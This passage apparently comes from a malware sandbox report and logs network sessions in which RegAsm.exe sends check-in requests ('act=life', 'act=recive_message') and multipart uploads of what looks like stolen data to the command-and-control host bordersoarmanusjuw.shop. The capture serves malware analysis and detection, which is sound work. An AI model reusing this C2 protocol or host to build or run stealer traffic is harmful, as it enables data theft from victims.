2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: 79 72 84 b0 72 d8 61 ed 40 9a 6a cc ec c5 b2 c3 f3 ad 93 55 db ed 9e ee 8e 21 6d b9 ec bb ae af de 65 eb 26 07 6c 1f f0 92 9d 7c b6 10 b1 6a 3b 88 1a 31 48 38 77 46 ea 49 ee 42 fe 5b 43 ff 1a ce c1 0d 6d 0b bf 9e ec 32 86 32 61 3a 6e eb f7 d3 ef 56 1d f6 d6 b2 19 b9 29 ab 01 0f 85 55 25 c6 b4 65 c2 e1 9e 62 89 cf 22 e9 72 af 6a 10 81 94 80 bb 66 1a eb d1 c6 98 23 2b 1a 43 0c 0f b8 80 58 4a a4 1c 1f 4c 4e 8f a4 33 b7 9e ba 99 43 b0 60 b4 8e b2 3f f3 d1 26 62 f7 ac a5 a3 51 74 67 76 2f ca 4c fc bc 4f fb 79 3a 1d 4e ab af 4c f1 b4 37 f5 b0 8e d4 e6 c4 ee 18 e8 81 22 8f b0 1f 7b 78 f6 42 a7 29 87 74 96 07 82 58 bd d1 4c 03 99 0f 17 75 dd 1e 89 e7 33 62 5b 9c 69 88 10 df 35 db 68 c7 f1 c2 60 96 f0 2e 7c f2 56 e3 21 52 93 78 04 9d 15 a0 9c e1 98 cc 32 a5 b9 ca Data Ascii: yrra@jU!me&l\|j;1H8wFIB[Cm22a:nV)U%eb"rjf#+CXJLN3C`?&bQtgv/LOy:NL7"{xB)tXLu3b[i5h`.\|V!Rx2
2024-04-21 13:31:40 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ktf3bokel4qgu9qtsit5hpke0e; expires=Thu, 15-Aug-2024 07:18:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2FeiLXcM8w1VXEwA8e25l5m10qQ1t%2BCTOb3nDeWFiGqgZ5XqYH2AQumijOGhIAL1XuF7h2LFe63Tk1aWlyaKmzo%2B9wfUdyNRhsQ%2FJKq90BdzYZ8zrhtjktT2jQRgHXOt4Kl%2FIY77sj%2F%2FaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc4fffa36734-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49774	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:41 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 13:31:41 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=msbsf3orbv1scsjfi3f85cnjda; expires=Thu, 15-Aug-2024 07:18:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IMlfQ476R%2BudrV2vG50zBq9ZZFn5PGbi0a7ISf1fI%2B95pd7Z24tvkR%2FU1TqUxK99FxtcQhObzY6kbGQh8mxr%2Br6zzD3d1TTZ1CtW8A0YWDWXeEL%2FQGSm%2BS7rfQk6cLoENhw3opP42PIiJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc611b4e7bdc-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 13:31:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49775	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:42 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:42 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-21 13:31:42 UTC	824	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u7jdsppa9rgariauvsmugp279q; expires=Thu, 15-Aug-2024 07:18:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3h%2B2jD%2Fsg0Ci%2Fl3HYVj1uVPOPJ2ErVkAopB70EH7%2FUOBcRp2%2FoBfX4h69XvOTl%2F608ts%2FJU5RnDBdOTh12v9KVZuy7sKw%2F2wN4HOHi846sfcwqHpCthXDh%2BMbmD1hxOYDd1vcyHyuOKAXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc65ee16b094-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:42 UTC	545	IN	Data Raw: 33 39 65 63 0d 0a 4e 48 6f 49 33 44 65 71 54 39 63 32 32 57 63 38 4c 59 75 35 63 73 73 38 75 2b 79 36 7a 55 32 4c 47 51 68 48 72 53 4d 77 6e 73 42 50 63 41 48 2b 51 59 68 31 39 77 4c 31 62 54 55 50 2b 4e 78 51 38 52 7a 50 6e 73 2b 6f 59 59 45 51 4b 69 62 4a 41 51 71 2b 70 6c 55 57 65 37 6b 62 6f 45 62 31 57 36 46 46 42 67 33 51 73 33 75 77 4e 72 4c 6c 6d 4b 67 6a 71 53 4d 6f 5a 64 70 47 55 76 75 34 51 42 39 6d 72 31 37 46 49 5a 64 62 76 42 4e 64 51 4f 72 4b 47 65 56 56 31 4d 36 57 78 30 53 43 4f 32 30 39 6a 78 6b 51 76 49 31 52 44 6d 6d 52 56 74 6b 6b 39 52 72 54 62 6a 55 50 37 73 31 51 38 52 79 5a 73 4a 69 39 4c 50 6c 34 5a 54 54 78 41 51 72 6c 6e 42 59 54 66 4c 6c 46 79 7a 75 2b 57 62 63 55 59 41 2b 78 6a 30 4c 37 44 49 76 63 78 2b 39 48 67 6d 51 43 54 Data Ascii: 39ecNHoI3DeqT9c22Wc8LYu5css8u+y6zU2LGQhHrSMwnsBPcAH+QYh19wL1bTUP+NxQ8RzPns+oYYEQKibJAQq+plUWe7kboEb1W6FFBg3Qs3uwNrLlmKgjqSMoZdpGUvu4QB9mr17FIZdbvBNdQOrKGeVV1M6Wx0SCO209jxkQvI1RDmmRVtkk9RrTbjUP7s1Q8RyZsJi9LPl4ZTTxAQrlnBYTfLlFyzu+WbcUYA+xj0L7DIvcx+9HgmQCT
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 77 78 44 43 6e 45 77 45 38 70 79 6f 35 76 4b 56 61 57 44 4c 38 46 63 34 6a 74 46 6d 37 46 31 5a 45 34 74 34 43 6f 6c 66 55 67 39 69 69 4a 65 5a 34 61 69 4c 46 53 31 33 32 70 6c 73 56 62 4c 35 56 69 47 50 64 50 39 42 46 57 56 65 70 67 31 4c 70 66 64 79 65 33 36 4d 35 71 30 45 71 54 61 52 65 48 4a 66 67 46 48 41 42 70 7a 32 6a 52 76 56 54 74 30 55 47 44 61 6e 54 46 61 70 64 30 6f 48 62 70 79 54 37 65 33 67 6a 77 6b 52 41 2b 71 64 59 45 6d 6d 73 58 38 59 72 74 6c 32 77 44 46 74 49 37 5a 74 65 77 54 57 79 7a 74 2b 33 62 37 45 35 4b 67 54 43 53 6c 37 32 74 56 5a 59 41 74 56 4b 68 6b 58 65 54 64 4e 75 4e 51 2f 75 31 31 44 78 48 4a 6d 4b 32 61 73 75 37 58 56 6b 49 63 4e 48 58 50 47 74 55 42 4a 71 75 56 2f 41 4a 62 52 5a 73 41 70 65 53 75 54 66 46 71 56 66 33 4d Data Ascii: wxDCnEwE8pyo5vKVaWDL8Fc4jtFm7F1ZE4t4ColfUg9iiJeZ4aiLFS132plsVbL5ViGPdP9BFWVepg1Lpfdye36M5q0EqTaReHJfgFHABpz2jRvVTt0UGDanTFapd0oHbpyT7e3gjwkRA+qdYEmmsX8Yrtl2wDFtI7ZtewTWyzt+3b7E5KgTCSl72tVZYAtVKhkXeTdNuNQ/u11DxHJmK2asu7XVkIcNHXPGtUBJquV/AJbRZsApeSuTfFqVf3M
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 71 53 4d 6f 5a 63 78 4e 58 2f 57 6e 57 51 70 67 73 6c 54 61 4b 72 78 64 73 51 52 51 51 4f 4c 58 46 62 74 56 31 6f 62 58 72 69 4c 6b 63 47 34 6c 6a 77 38 36 6c 38 6b 57 48 33 4c 2b 44 59 70 74 6c 46 6d 30 46 31 31 65 71 2b 34 54 70 31 44 65 6d 4a 6a 48 52 50 59 31 41 6b 37 57 4b 54 6d 58 34 6c 45 55 4b 75 59 58 69 43 79 35 57 4c 6f 4b 57 45 58 68 32 42 47 37 56 39 61 47 31 36 59 75 36 6e 39 72 4c 39 31 54 55 76 43 77 57 68 4a 73 73 56 6a 45 62 66 73 38 30 47 34 65 53 50 47 62 53 4f 73 65 38 34 33 4d 72 43 57 72 54 6d 6b 72 77 55 5a 45 76 4d 6f 39 42 79 54 57 50 74 46 46 33 6a 2f 37 41 6c 49 50 73 5a 6c 51 70 46 2f 52 69 4d 71 67 49 75 70 31 5a 43 72 4b 54 6c 72 38 6f 6c 73 64 62 72 56 65 79 79 43 78 52 72 45 46 56 6b 72 6f 30 52 72 70 45 4c 48 6c 73 2b 38 Data Ascii: qSMoZcxNX/WnWQpgslTaKrxdsQRQQOLXFbtV1obXriLkcG4ljw86l8kWH3L+DYptlFm0F11eq+4Tp1DemJjHRPY1Ak7WKTmX4lEUKuYXiCy5WLoKWEXh2BG7V9aG16Yu6n9rL91TUvCwWhJssVjEbfs80G4eSPGbSOse843MrCWrTmkrwUZEvMo9ByTWPtFF3j/7AlIPsZlQpF/RiMqgIup1ZCrKTlr8olsdbrVeyyCxRrEFVkro0RrpELHls+8
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 69 6e 46 51 56 66 75 71 6c 41 66 5a 72 5a 51 78 79 75 77 57 62 77 4f 58 56 33 37 32 42 53 6e 55 70 6e 41 73 4d 52 45 71 58 78 79 5a 5a 63 44 45 74 6d 31 56 51 68 73 76 52 57 67 52 71 6f 61 30 32 35 48 4a 34 4b 77 55 4b 35 53 6d 64 61 61 37 79 2f 6e 64 32 45 69 78 45 70 57 2b 4b 4a 62 45 32 53 77 58 4d 51 6c 75 56 4f 70 43 46 74 48 34 39 49 56 70 56 50 61 6e 4e 75 75 62 36 63 54 41 55 36 50 52 6b 71 38 2b 68 52 59 54 59 31 69 36 32 33 64 50 36 52 4c 4e 69 54 77 73 33 76 43 48 74 36 43 6d 50 64 74 71 58 70 69 49 73 46 46 51 50 4b 77 57 42 39 71 75 46 33 41 4b 72 6c 61 74 52 64 57 54 75 6e 56 48 36 46 58 33 59 2f 63 71 79 50 75 4f 79 52 4e 70 43 6f 53 2b 37 6f 57 51 43 6a 2b 66 63 73 33 72 78 61 56 44 6c 35 49 2b 63 30 4c 36 54 61 79 6b 5a 62 48 52 50 41 54 Data Ascii: inFQVfuqlAfZrZQxyuwWbwOXV372BSnUpnAsMREqXxyZZcDEtm1VQhsvRWgRqoa025HJ4KwUK5Smdaa7y/nd2EixEpW+KJbE2SwXMQluVOpCFtH49IVpVPanNuub6cTAU6PRkq8+hRYTY1i623dP6RLNiTws3vCHt6CmPdtqXpiIsFFQPKwWB9quF3AKrlatRdWTunVH6FX3Y/cqyPuOyRNpCoS+7oWQCj+fcs3rxaVDl5I+c0L6TaykZbHRPAT
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 4a 41 2b 36 4a 53 45 32 57 79 57 38 51 6d 76 6c 2b 34 44 31 64 4d 35 64 30 52 70 31 37 58 6a 70 6a 68 52 34 49 51 4b 69 4c 58 41 51 71 2b 34 6e 59 54 66 4b 74 57 32 43 75 79 57 50 74 74 4e 56 43 6e 73 33 75 77 4e 72 4c 6c 6d 4b 67 6a 71 53 4d 6f 5a 63 46 54 56 76 32 69 58 68 46 6d 74 56 33 61 4b 72 4a 66 74 51 74 56 53 2b 58 53 47 36 42 62 31 59 2f 54 70 69 72 74 63 57 77 6f 6a 77 38 36 6c 38 6b 57 48 33 4c 2b 44 59 70 74 6d 56 65 30 44 68 34 6e 67 73 52 65 77 54 58 41 35 72 50 45 62 2b 35 33 4b 6e 32 4e 41 56 58 30 71 6c 67 62 62 4c 56 5a 78 43 79 38 55 72 34 4e 57 55 44 75 30 68 65 70 57 4d 75 4a 31 61 59 76 34 6e 4a 67 49 63 35 4b 45 72 4c 4b 50 58 4d 71 75 55 32 49 64 66 63 55 69 51 4a 49 58 2b 71 62 65 4d 4a 42 6c 2b 57 77 78 44 61 42 45 41 46 6c 79 Data Ascii: JA+6JSE2WyW8Qmvl+4D1dM5d0Rp17XjpjhR4IQKiLXAQq+4nYTfKtW2CuyWPttNVCns3uwNrLlmKgjqSMoZcFTVv2iXhFmtV3aKrJftQtVS+XSG6Bb1Y/TpirtcWwojw86l8kWH3L+DYptmVe0Dh4ngsRewTXA5rPEb+53Kn2NAVX0qlgbbLVZxCy8Ur4NWUDu0hepWMuJ1aYv4nJgIc5KErLKPXMquU2IdfcUiQJIX+qbeMJBl+WwxDaBEAFly
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 37 50 6e 4d 42 2f 6c 4c 45 62 65 30 57 2b 77 52 53 51 4f 72 55 45 36 70 66 30 35 7a 4b 6f 79 62 68 66 6d 59 75 77 55 64 41 2b 71 31 66 47 32 6d 33 55 73 41 68 76 31 65 38 52 52 41 6e 67 72 42 51 72 6b 61 5a 31 70 72 76 44 50 35 72 5a 32 57 6e 4b 6b 32 79 79 6a 30 42 41 74 55 2b 69 43 71 35 46 4f 4e 48 48 6b 66 6b 30 78 71 74 57 64 53 4a 33 71 59 39 34 48 35 6b 4a 63 74 4b 58 66 71 6d 56 52 68 34 75 46 48 41 4c 72 68 5a 74 51 5a 61 44 36 65 7a 65 38 49 65 33 70 61 59 39 32 32 70 53 57 63 72 31 45 35 56 37 61 67 57 63 41 47 68 47 36 42 47 72 44 7a 51 62 68 35 49 35 5a 74 49 36 78 37 64 67 4d 71 6b 4c 75 4a 77 5a 43 4c 41 52 46 6a 38 72 56 49 62 5a 4c 56 55 79 79 57 34 57 62 55 50 56 30 62 75 31 78 53 75 48 70 66 6d 73 38 52 76 37 6d 4d 71 66 59 30 42 65 64 Data Ascii: 7PnMB/lLEbe0W+wRSQOrUE6pf05zKoybhfmYuwUdA+q1fG2m3UsAhv1e8RRAngrBQrkaZ1prvDP5rZ2WnKk2yyj0BAtU+iCq5FONHHkfk0xqtWdSJ3qY94H5kJctKXfqmVRh4uFHALrhZtQZaD6eze8Ie3paY922pSWcr1E5V7agWcAGhG6BGrDzQbh5I5ZtI6x7dgMqkLuJwZCLARFj8rVIbZLVUyyW4WbUPV0bu1xSuHpfms8Rv7mMqfY0Bed
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 4d 76 77 56 36 7a 71 6a 58 72 77 4a 53 45 54 6f 32 41 61 6b 54 70 6e 6d 73 37 42 68 67 52 42 7a 54 61 51 71 45 76 75 75 46 6b 41 6f 2f 6c 50 42 4b 37 4a 53 74 52 64 62 53 65 62 55 47 61 42 61 30 59 33 59 71 79 76 75 66 6d 6b 70 78 45 5a 52 38 36 5a 66 46 6d 4f 78 46 59 5a 46 33 6a 2f 37 41 6b 59 50 73 5a 6c 51 69 45 58 61 67 74 58 76 52 34 4a 6b 4a 45 32 6b 57 44 71 58 79 52 59 66 5a 76 34 4e 69 6d 32 35 57 72 34 46 56 45 6e 74 33 68 61 6a 57 39 6d 46 32 36 41 72 37 33 39 6c 4a 63 52 49 55 2f 71 6e 58 42 4e 73 73 31 62 4f 4b 2f 55 61 30 32 34 31 44 2b 37 44 55 50 45 63 6d 61 37 44 6f 69 50 75 4f 77 4a 4f 30 41 38 36 6c 37 73 2b 63 77 48 2b 55 73 52 74 37 52 62 37 44 6c 4a 4c 37 74 73 64 71 6c 62 63 69 74 4b 71 4c 2b 46 70 59 69 58 49 55 30 44 38 71 31 4d Data Ascii: MvwV6zqjXrwJSETo2AakTpnms7BhgRBzTaQqEvuuFkAo/lPBK7JStRdbSebUGaBa0Y3YqyvufmkpxEZR86ZfFmOxFYZF3j/7AkYPsZlQiEXagtXvR4JkJE2kWDqXyRYfZv4Nim25Wr4FVEnt3hajW9mF26Ar739lJcRIU/qnXBNss1bOK/Ua0241D+7DUPEcma7DoiPuOwJO0A86l7s+cwH+UsRt7Rb7DlJL7tsdqlbcitKqL+FpYiXIU0D8q1M
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 6f 68 6c 39 54 7a 51 62 6d 45 42 67 62 42 37 36 55 61 5a 31 70 72 76 47 75 70 31 5a 43 4c 5a 55 42 2f 62 72 46 45 5a 66 4b 35 43 78 32 33 37 50 4e 42 75 48 6b 6d 70 67 31 4c 36 45 4c 48 6c 73 2b 38 72 2b 44 73 79 5a 35 38 54 43 61 6e 78 41 55 67 34 31 6a 37 58 59 39 30 2f 6f 6d 30 31 4a 4b 6e 4e 55 50 45 63 69 38 43 77 78 45 53 70 61 53 70 39 6a 51 45 56 2f 37 42 45 48 6d 6d 6f 56 6f 38 54 69 33 4f 74 44 31 6c 66 37 73 77 66 36 52 43 78 35 62 50 76 49 4b 6b 6a 4b 42 79 6e 4b 6a 6d 58 34 6c 38 66 63 61 39 44 78 54 32 79 46 4e 4e 75 4e 58 43 6e 73 33 76 43 48 73 48 4f 67 4f 31 76 33 48 68 6b 4b 38 68 58 51 37 47 46 51 42 4a 74 72 6c 4c 66 49 76 55 61 30 32 34 31 44 2b 2b 62 53 4f 73 4e 6c 2b 61 7a 78 47 2f 74 61 69 70 39 6a 52 45 41 70 2f 63 46 54 7a 72 73 Data Ascii: ohl9TzQbmEBgbB76UaZ1prvGup1ZCLZUB/brFEZfK5Cx237PNBuHkmpg1L6ELHls+8r+DsyZ58TCanxAUg41j7XY90/om01JKnNUPEci8CwxESpaSp9jQEV/7BEHmmoVo8Ti3OtD1lf7swf6RCx5bPvIKkjKBynKjmX4l8fca9DxT2yFNNuNXCns3vCHsHOgO1v3HhkK8hXQ7GFQBJtrlLfIvUa0241D++bSOsNl+azxG/taip9jREAp/cFTzrs
2024-04-21 13:31:42 UTC	1369	IN	Data Raw: 6c 56 76 45 55 51 4a 34 4b 77 55 4b 59 65 67 63 7a 68 37 79 7a 37 61 53 55 30 32 55 78 43 2b 2b 35 65 43 57 65 79 46 59 5a 76 39 52 69 2f 44 6c 4a 4b 37 73 74 66 75 30 37 53 67 73 37 6a 4b 2f 73 37 4a 47 65 50 55 46 6e 7a 73 46 67 66 4a 61 39 44 78 54 32 32 55 62 78 4a 56 6c 37 6b 31 31 44 6e 48 4a 6d 62 30 36 4d 70 35 47 34 6c 4e 4e 6c 43 52 50 76 75 58 67 6c 6e 73 68 58 33 59 39 30 2f 30 45 56 47 44 37 47 5a 55 4a 78 64 31 34 44 66 75 54 36 6b 57 32 45 70 7a 45 31 54 2b 2b 49 59 63 41 48 56 46 63 35 74 37 52 62 6f 53 7a 59 6b 67 70 73 55 75 42 36 42 7a 49 6a 39 64 4c 77 6f 50 58 57 64 4b 54 6e 6a 37 44 35 7a 63 39 59 2b 6f 32 32 6a 46 4f 4e 48 44 41 47 42 73 48 76 70 54 4a 6e 57 6d 75 39 6f 36 6d 6c 34 49 38 78 58 55 62 75 63 61 42 6c 6e 73 52 6e 47 4a Data Ascii: lVvEUQJ4KwUKYegczh7yz7aSU02UxC++5eCWeyFYZv9Ri/DlJK7stfu07Sgs7jK/s7JGePUFnzsFgfJa9DxT22UbxJVl7k11DnHJmb06Mp5G4lNNlCRPvuXglnshX3Y90/0EVGD7GZUJxd14DfuT6kW2EpzE1T++IYcAHVFc5t7RboSzYkgpsUuB6BzIj9dLwoPXWdKTnj7D5zc9Y+o22jFONHDAGBsHvpTJnWmu9o6ml4I8xXUbucaBlnsRnGJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49776	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:42 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:42 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-21 13:31:43 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n13v8g9ndi3mvuo267si0shvmv; expires=Thu, 15-Aug-2024 07:18:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0EfaUD4%2F%2Bz9w4qP5GcjsVcn3HK6HimPKzOr1PtmeMPLLpc4ElCnDRgAGKNIrWNu0sGlELMJY8af1br1Chca%2FakLUYjeM9kKkTzCMz38nXAw3s4jfgPyJ9i77cMlEfq8dL9NqVPP0Wyj6KA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc69fca4673e-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49777	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:43 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:43 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:44 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8h0br9iavo0vaa6mm9coq212ra; expires=Thu, 15-Aug-2024 07:18:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 